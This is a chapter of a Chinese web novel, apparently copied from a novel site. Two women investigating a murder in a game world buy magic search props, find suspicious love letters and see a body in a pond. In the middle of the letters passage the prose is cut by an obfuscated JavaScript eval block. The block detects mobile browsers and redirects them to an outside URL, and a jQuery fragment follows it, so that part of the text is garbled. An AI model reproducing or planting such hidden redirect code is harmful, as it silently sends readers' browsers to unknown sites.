月上枝头,夜阑人稀。
顾府正堂的房顶上,等不来杨灵灵,集中搜证也只剩下五十多分钟,沈南南和冷砚冰只得快速行动。
按照之前讨论的,一人去后西院儿,一人去前院西侧的客房。
冷砚冰道:“我先送你去西院儿。”
要避开顾府守卫,需要飞檐走壁,沈南南不会轻功,只能借冷砚冰之力。
两人轻而易举地就绕开了西院儿的守卫,稳稳地降落在这西院的庭院之中。
进门打眼处便是一座石桥。整座房屋自水上而建,三间屋子靠那石桥连接。那池塘的东北角靠着后山,应当就是白日里她们和小少爷去过之处。池中之水从东边小河流入,又自西边流出。
白日里瞧着,或许是个风景别致的院落,但在这昏暗的月光下,一阵阴风吹过,沈南南瞬时感到背脊发凉。
“就非得大晚上搜证吗?”沈南南无奈叹气。
冷砚冰赶时间,转身欲走,听到声音,又停住脚步:“害怕了?”
“怎么可能?”沈南南干笑两声,“你快走吧,我可以……”
话音未落,不知从哪儿跑出来一只黑猫,“嗖”地一下从沈南南脚边窜了过去,直直冲向前方的正屋。
沈南南一个激灵,正欲呼叫,被一旁眼疾手快的被冷砚冰捂住了嘴。
沈南南将冷砚冰的手扒拉下来,声音却还有些颤抖:“你走吧砚冰,我进去搜证了。”
顿了顿又补充了句:“我可以的。”
好似在为自己打气。
“你确定吗?”
冷砚冰知道,沈南南这辈子最怕猫了。
沈南南恍惚地“嗯”了声,转头欲走,却被冷砚冰拉住:“南南,你顺拐了。”
*
冷砚冰小心翼翼地推开主屋房门,带着沈南南走了进去。她到底还是放心不下。
有冷砚冰陪着,沈南南一颗悬着的心落下,她虽然嘴上不说,但心里其实是害怕的。
那只黑猫方才冲向正屋,此刻也不知道在哪里躲着,万一突然又跑出来,只剩沈南南一人,只怕搜证不成,小命都要交代在这里。
冷砚冰停下了脚步,眉头微皱:“这黑灯瞎火的,啥也看不见啊,要从哪里开始搜?”
便在这时,头顶响起一阵摇铃声:
【玩家您好,小柳现已为您开启积分兑换商城。】
【在积分兑换商城内,您可通过积分兑换搜证道具。】
【鉴于您目前所在剧本进度不足10%,已为您开启积分商城便捷模式。当剧本进度超过14%,积分商城便捷模式将只在最终凶手指认环节结束后为您开启。剧情认知阶段内,您可通过线下商城进行积分兑换。线下商城散落在世界各处,期待您的探索与发现。】
【正在为您查看当前积分……】
【玩家沈南南当前积分1,玩家冷然当前积分1。小柳已为您筛选当前可兑换搜证道具。】
伴随着系统的解说,漆黑一片的房间内,逐渐显现出一块淡蓝色的全息投影荧幕。
三样物品依次浮现——
一副镜片为碧玉色、金色镜腿上刻有云纹的眼镜。其下有金黄色的繁体小楷写着「云纹夜视镜」。
其下还有另一行更小的绿色文字:“虎睛鹰瞳,明察秋毫。”
一个写着「锦囊妙计」的月白色锦囊。
一行红色小字道:“随缘见喜,逢凶化吉。”
一本封面为「洗冤集录」的书。
以下一行金色小字:“狄公重生,宋慈再世。”
沈南南和冷砚冰凑近,将三样道具看了看。
“这都什么意思?”沈南南忍不住眉头皱起。
冷砚冰也道:“这说明也些微抽象了点。”
【以下三样道具当前数量1,价格均为1个积分,皆不可重复兑换。若您选择兑换,只需在该道具投影下摊开手掌,即可兑换成功。】
【搜证道具均为消耗品,仅限本次集中搜证使用哦。】
“要不我选这个吧。”冷砚冰思索片刻,指了指最左侧的云纹夜视镜,“看起来应该这会儿就能用上。”
“我有点纠结。”沈南南诚实道。
【小柳温馨提示:离集中搜证阶段结束仅剩40分钟了哦。】
沈南南一个激灵:“怎么这么快就20分钟了?我们还什么都没搜到呢。”又拉着冷砚冰,“时候不等人,砚冰,咱们快选吧。”
“行,那我选这个夜视镜了?”冷砚冰走到荧幕的最左侧。
“好。”沈南南点头,便见冷砚冰将右手展开,放在那云纹夜视镜投影的下方。
只听“咚”的一声,宛如锤子敲响拍卖桌,那云纹夜视镜投影微微旋转,一副真正的云纹夜视镜竟轻轻掉落到了冷砚冰的手中。
冷砚冰将那夜视镜拿在手里细看,沈南南也凑上来,见那镜腿上的云纹浑然天成,惊叹道:
“这也太精致了吧,你快带上试试有什么效果。”
冷砚冰将夜视镜小心翼翼地戴上,未曾想那眼镜腿刚刚接触到耳朵,整副眼镜竟就消失不见了。
来不及惊讶,忽有一道仅冷砚冰可见的强光射来,令她条件反射地闭上双眼,下一瞬,睁开眼,眼前原本漆黑一片的房间竟变得宛如白昼。
她将房中环视一圈,竟发现,屋中陈设中竟有几处浮现出了小小的蓝色放大镜图标。
见冷砚冰不说话,刚戴上的夜视镜刹那间又消失不见,沈南南赶忙问:“怎么回事啊?夜视镜呢?”
“应该是和我的眼睛融为一体了。”
“啥?”
冷砚冰解释道:“或者说,是嵌入到我的眼睛里了。我现在裸眼就是戴上夜视镜的效果,现在对于我来说就像白天。”
“这么神奇?”
沈南南突然有些兴奋,迫不及待地看向另外两个道具,嘴里小声念叨着:“随缘见喜,逢凶化吉……狄公重生,宋慈再世……”
她忽得想起方才那只黑猫。
“要不我还是选这个锦囊吧。”从她刚进入西院,便觉得哪里不太对劲。
池水将西院三间房屋包围,宛若囚室。整个西院不仅是阴森,更让人感到一种喘不过气的压抑。
对她来说,现在保命最重要。
沈南南手伸到荧幕中心那月白色锦囊之下。
锦囊旋转,忽得向下坠落,然而并未有任何实体触碰到沈南南的掌心,一阵暖风拂过,吹开了她额上的碎发,眉心渐渐浮现出一朵淡黄色的花钿,却又转瞬即逝。
“有什么不一样吗?”冷砚冰问。
沈南南等了又等,除了感到一阵暖流拂过全身之外,自己的身体和之前并没有什么不同,颇为失望地摇了摇头:“啥也没有。”
冷砚冰诧异道:“奇怪了,我刚好像看到你额上有一朵花,但是现在又没了。”
“真的吗?”沈南南飞快地伸手摸了摸自己的额头。
冷砚冰点头“嗯”了声。
沈南南失望地叹了口气:“算了,别管这个了,说不定这就是个不管用的平安符。”摸了摸身上的荷包,“突然想起我荷包里还有这个。”
竟找出一个火折子。
“这不是古代打火机吗?”冷砚冰惊奇道,“你会用吗?”
沈南南凭着记忆把火折子的盖子打开,往里吹了一口,果然那当中火星子燃了起来。
冷砚冰从一旁的案几上拿过来一只烛台:“点上吧。”
沈南南举着点燃的烛台,和冷砚冰分头开始搜证。
借着火光,隐约能看清这屋子的构造。
正屋由左右两盏屏风隔开,左侧是一副荷塘晓月,右侧则是雪中寒梅。
左侧是姨娘安寝之处,设有黄花梨木的梳妆台、衣橱,正中最显眼的,便是一张雕刻极尽繁复奢华的金漆花鸟纹拔步床;外间则是会客的两排扶手椅。
右侧屏风之后,则有一张金丝楠木的书案,其后的书架上多有藏书。窗边的花几上,摆放着一盆盛开的墨兰。
“这柳姨娘,瞧着竟也是个喜好风雅之人。”沈南南将烛台放在书案上,随手拿起书架上的书翻看起来。
刚翻了几页,脸色顿时涨得通红,“刷”地一声将书迅速关上,撇嘴道,“当我没说。”
“怎么了?”
冷砚冰本在外间,正欲往那左侧里间去,听见声响,挪步过去。
沈南南将那书举到冷砚冰面前:“你看——”
冷砚冰此刻目光如炬,一眼便看见那几个大字——窃香记。
一旁另有一行小字:渝州笑笑生著。
“这么巧?”冷砚冰忍俊不禁。
“可不嘛。”沈南南嗤笑一声,“没想到灵灵这书卖得还挺好。”
冷砚冰从沈南南手里拿过那书,随意翻看起来:“还是秘戏图版。”
“别看了。”沈南南一把将书夺了过来,严肃制止,“你也想长针眼?”
“不想。”
沈南南颇为欣慰地看了她一眼,准备将那本“烫手”的《窃香记》放回去,却发现冷砚冰已经走到书架旁,将几本书拿起来,仔细地翻看着。
“这里面有东西吗?”沈南南问。
“应该有。”果不其然,几本书中竟然夹着几封信件。
两人将其拆开来一看,竟然是柳姨娘和晦明来往的书信,言辞中也尽是些“思慕之情,悬悬不忘”“只盼相约”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439072|169344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“切切在心”等情意缱绻之语,且其中不乏相邀密会而又忌惮其夫的诸多细节。
“这不是实锤了吗……”沈南南一时语滞,只将这些信件收到怀中。
冷砚冰沉吟片刻:“怎么感觉哪里不对劲?”
两人复又将书架仔细翻了翻,确认没有任何遗漏。于是她们惊讶地发现,这里的书竟都是些有关男女居室的书籍,颇像是搬了青楼的藏书阁。
“人之大伦,人之大伦。”沈南南一边宽慰自己,一边期盼着明日不要长针眼。
冷砚冰默了半晌,分析道:“这倒挺符合柳姨娘嫁人前的身份。卷宗里记录了,柳姨娘本名柳若月,原是云韶院的舞伎,又善音律,被顾员外纳入府中,两年后产下一子……”
沈南南站在冷砚冰身侧,也道:“据说顾夫人未有生育,那小粽子就是顾员外唯一的儿子。顾员外对他母子两个这般宠爱,柳姨娘怎会与一和尚通.奸,又何至于毒杀亲夫?顾员外年纪也才三十左右,以往看来,也是一表人才啊。”
忽得灵光一闪,忙问:“对了砚冰,你之前说,柳姨娘对自己所做之事供认不韪,且那瓶毒药也是从她房中隐秘处被搜出来的。既然搜查了,那昨日衙门的人怎么没能发现这些信件呢?”
冷砚冰回忆了昨日的情形:“当时,这个书架当时也是仔细搜过的,只是整个房间除了那瓶毒药外,我们并没能发现什么。”
“这就奇怪了,难道这个信是在那之后才出现的?”
冷砚冰冷静道:“说到底,只要拿到这些信件,就能轻易做实柳姨娘与人通奸并毒害亲夫的罪行,不是么?”
沈南南眉头皱起:“你是说,这信是假的?”
冷砚冰摇摇头:“现在还不能确定。”
“其实我一直觉得很疑惑,你说当时柳姨娘被五花大绑着,哪有时间给顾员外下毒?虽说是她早先备下的毒药,但怎么能够准确无误地下到茶水之中呢?”
“据顾府的管家和夫人说,当时顾员外和夫人正在审问柳姨娘,顾员外喝的,正是丫鬟端上来的两盏新沏的茶。林叔验过,两杯茶中均有剧毒。”
冷砚冰口中的林叔,乃是衙门唯一的仵作,林白术。林白术在衙门应役已近二十年,经验丰富,略通岐黄之术,且为人正直和善,衙门中人除县太爷外都称他一声“林叔”。
林白术有个女儿,名叫林冬青,自小便和沈南南、杨灵灵熟识,后又通过沈南南结识了冷砚冰,几人也时常玩在一处。林冬青如今在外云游行医,暂曾归乡。
“这丫鬟倒也挺可疑。”沈南南皱了皱眉。
冷砚冰道:“的确。只是当晚讯问时,那丫鬟说她毫不知情,且柳姨娘对下毒之事供认不讳,我们便没再追问。”
“那丫鬟也并不能完全摆脱嫌疑吧。”沈南南眉头拧成川字,“只怕是两人合谋,但是柳姨娘想一人揽下罪责,可她为什么要这么做啊?”
冷砚冰也想不明白,只说:“再找找看其他线索吧。”
于是两人分开,各自在房中搜证。
沈南南继续留在书房,而冷砚冰往那荷塘晓月的屏风之后走去。
冷砚冰早就注意到了那屏风后浮现的蓝色放大镜图标,直直走过去,见那图标漂浮在左侧的梳妆台上。
伸手摸了摸毫不染尘的梳妆台,眼风扫过台上钗环首饰、胭脂水粉。
在她眼中,此刻的景象宛如白昼,一切细微的隐秘都无处遁形。
角落一盒胭脂的盖子有些微的移动,并没有完全地合上。而那胭脂盒旁,一只精巧的唇刷轻轻地倚靠着。冷砚冰将盖子打开,看到了与那只唇刷上同样的膏体。
这并不奇怪。
怪就怪在,那只唇刷所沾染上的膏体,还湿润着。
有人……刚刚动过?
“南南,你过来看。”
可房间内却静谧异常。
冷砚冰以为沈南南没听见,快步过去寻她,穿过那展雪中寒梅的屏风,却见沈南南背对着她立在窗边,像是被人施了定身咒般,一动也不动,口中如呓语般小声念叨着:
“玉带割脚……血,血盆照镜,以成阴煞之势……”
“南南,你怎么了?”冷砚冰轻声唤她。
沈南南伸出颤抖的手指着窗外,声色异常沙哑:“砚冰,你看那是什么……”
她瞳孔放大,像是见到了什么令她惊惧万分的东西。
冷砚冰循着沈南南所指的方向看去——
窗外是那围着三间屋子的池塘。
池水中除了些许飘散的落叶,月色昏暗,沈南南或许只看到一个不真切的黑色物体在水中漂浮着。
但冷砚冰一眼便认出,那是一个身穿红色衣衫的——人!